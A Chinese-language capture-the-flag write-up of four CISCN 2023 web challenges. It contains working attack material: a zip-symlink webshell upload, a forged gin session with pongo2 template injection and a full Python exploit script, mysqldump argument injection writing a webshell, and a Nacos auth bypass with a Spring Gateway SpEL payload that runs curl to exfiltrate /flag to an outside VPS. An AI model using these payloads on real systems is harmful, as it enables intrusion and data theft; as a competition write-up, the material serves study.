ciscn2023 web
unzip
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
思路很简单,首先利用zip -y
软链接网站根目录解压进/tmp
目录,再发送提前构造的路径相同的压缩包,解压 webshell 到网站根目录,拿到flag。
go_session
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
)
var store = sessions.NewCookieStore([]byte(os.xxxx))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
题目给了三个路由
index admin flask
index提供一个默认的session
admin路由判断session进行ssti,用xsswaf过滤了引号
flask路由可以访问内部5000端口的flask服务
首先是admin路由,其中secret-key是通过环境变量获得,猜测不存在该环境变量,将该路由修改为一下代码,然后生成session如下
var store = sessions.NewCookieStore([]byte(""))
// key设置为空
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
// 将name改为admin
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
通过本地生成的session拿到远程进行访问
其中c是源码里面传入gin.context上下文,我们可以直接通过context进行绕过
这里因为html.EscapeString(name),查看源码可以发现过滤引号,所以我们就需要想办法构造字符串
这里想到Requst对象传参进行绕过引号,跟flask的ssti那种解法类似
这里我在gin.context里面全局搜索参数为空,返回值为string字符串的函数,可以发现以下几个函数
func (c *Context) HandlerName() string {
return nameOfFunction(c.handlers.Last())
}
// 结果:main/route.Admin ,可以得到m,n
func (c *Context) FullPath() string {
return c.fullPath
}
// 这个结果为/admin,first之后是'/',与传参冲突
func (c *Context) ClientIP() string {}
// 结果:10.0.0.1,首尾字符串结果一样,不采用
func (c *Context) RemoteIP() string {}
// 同上
func (c *Context) ContentType() string{}
// 因为要上传文件,所以不能改ContentType
这里几个函数都能拿到字符串,然后将字符串放在请求参数上面可以获取任意字符串,因为后面flask热加载需要两个参数,所以这里选择使用HandlerName函数返回的main/route.Admin
使用过滤器first和last可以拿到m,n两个字符,不采用其他函数的原因见注释
然后flask得到源码可以通过name=空可以获得
from flask import Flask,request
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + 'no ssti'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
这里flask开启了debug模式,debug攻击点一般采用算pin和debug热加载,这里尝试过算pin发现不能携带cookie,不能直接命令执行,所以使用热加载。
文件上传server.py覆盖原来的代码,然后访问修改后的路由,flask在处理的时候发现内存中的代码和源码中不同则会自动重启,这样我们就能构造恶意代码了
gin文件上传的方法见:https://www.kancloud.cn/shuangdeyu/gin_book/949420
需要使用FormFile和SaveUploadedFile函数,第一个接受表单name参数,第二个接受文件上传路径,所以需要两个参数,下面是给出的exp
# -*- coding: utf-8 -*-
# @Time : 2023/5/27 15:38
# @Author : pysnow
import requests
proxy = {"http": "127.0.0.1:8080"}
url = 'http://39.105.26.155:37640/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py'
head = {
"Cookie": "session-name=MTY4NTE2MjExMnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXz7kLMLvaz7bCBgVTNC_qlvc9f8_cpW2G2NH8kOc7aSdQ=="}
f = open("server.py")
res = requests.post(url=url, headers=head, files={"file": f}, proxies=proxy)
f.close()
print(res)
抓包后将POST改为GET,然后发包就能覆盖文件
最后flag在根目录下,名字为8155d83880318e256482_flag
dumpit
根据数据库中的提示猜测是命令注入
通过导出日志格式得知其为 mysqldump 导出文件的格式,猜测其通过命令行输出日志,并且可以解析我们拼接上的参数如
--xml
,于是搜索其参数,可以知道--result-file
参数可控制日志输出的文件位置
在生成的日志文件中数据库名
db
可通过参数控制,文件后缀也可控,于是尝试写入 webshell
由于过滤了一些特殊符号如分号和反引号,尝试用?>
直接闭合,成功写入 webshell
在 phpinfo 页面搜索到 flag
BackendService
打开是一个暴露在外网的nacos
登陆界面能够直接用https://juejin.cn/post/7133573986633383950,直接在请求头ua改为Nacos-Server就能绕过身份验证新增用户
添加了一个admin/admin用户,进入后台
在源码中可以看到backendserver为provider服务,监听在8811端口上
内部配置服务有个8888的gateway服务,id为backcfg。可以直接访问这个内部服务。
这里可以通过修改gateway配置文件反代backendservice服务,详细可以看这篇文章
因为这里我们不能直接访问127.0.0.1:8888端口查看返回头,所以需要无回显命令执行,这里给出我的payload,将文章里的yaml格式转化成json格式,因为这个gateway应用服务接受json格式
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://182.61.xxx.xxx:8081','-F','pysnow=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
vps直接监听拿到flag
1 条评论
[...]先看篇参考文章了解一下,题目复现wp主要来自https://pysnow.cn/archives/713/进入后台查看源码(详细代码可见上面提到的那篇wp),可知:[...]